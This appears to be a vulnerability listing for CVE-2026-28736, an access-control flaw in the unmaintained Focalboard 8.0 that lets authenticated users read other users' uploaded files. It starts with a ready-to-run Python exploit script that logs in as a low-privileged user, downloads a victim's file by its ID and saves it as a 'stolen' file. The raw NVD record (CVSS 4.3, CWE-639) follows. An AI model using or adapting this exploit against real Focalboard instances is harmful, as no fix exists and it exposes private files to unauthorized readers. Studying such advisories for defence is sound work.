CVE-2026-28736

import requests # Target URL configuration target_url = "https://example.com/focalboard" attacker_email = "[email protected]" attacker_password = "password" # 1. Authenticate as low-privileged user session = requests.Session() login_payload = { "email": attacker_email, "password": attacker_password } login_resp = session.post(f"{target_url}/api/v2/users/login", json=login_payload) if login_resp.status_code != 200: print("Login failed") exit(1) print("Logged in successfully") # 2. Exploit IDOR by guessing victim's file ID # Assume the victim's file ID is 'a1b2c3d4e5f6' victim_file_id = "a1b2c3d4e5f6" # 3. Request the file directly using the ID file_url = f"{target_url}/api/v2/files/{victim_file_id}/download" response = session.get(file_url) if response.status_code == 200: print(f"Success! Retrieved file content. Size: {len(response.content)} bytes") # Save the stolen file with open(f"stolen_{victim_file_id}.bin", "wb") as f: f.write(response.content) else: print(f"Failed to retrieve file. Status code: {response.status_code}")

{"cve": {"id": "CVE-2026-28736", "sourceIdentifier": "[email protected]", "published": "2026-04-03T14:16:29.517", "lastModified": "2026-04-28T00:19:54.037", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["unsupported-when-assigned"]}], "descriptions": [{"lang": "en", "value": "** UNSUPPORTED WHEN ASSIGNED ** Focalboard version 8.0 fails to validate file ownership when serving uploaded files. This allows an authenticated attacker who knows a victim's fileID to read the content of the file. NOTE: Focalboard as a standalone product is not maintained and no fix will be issued."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-639"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:mattermost:focalboard:8.0.0:*:*:*:*:*:*:*", "matchCriteriaId": "42087E46-C9CC-46D7-B424-55537457FE0A"}]}]}], "references": [{"url": "https://github.com/mattermost-community/focalboard", "source": "[email protected]", "tags": ["Product"]}]}}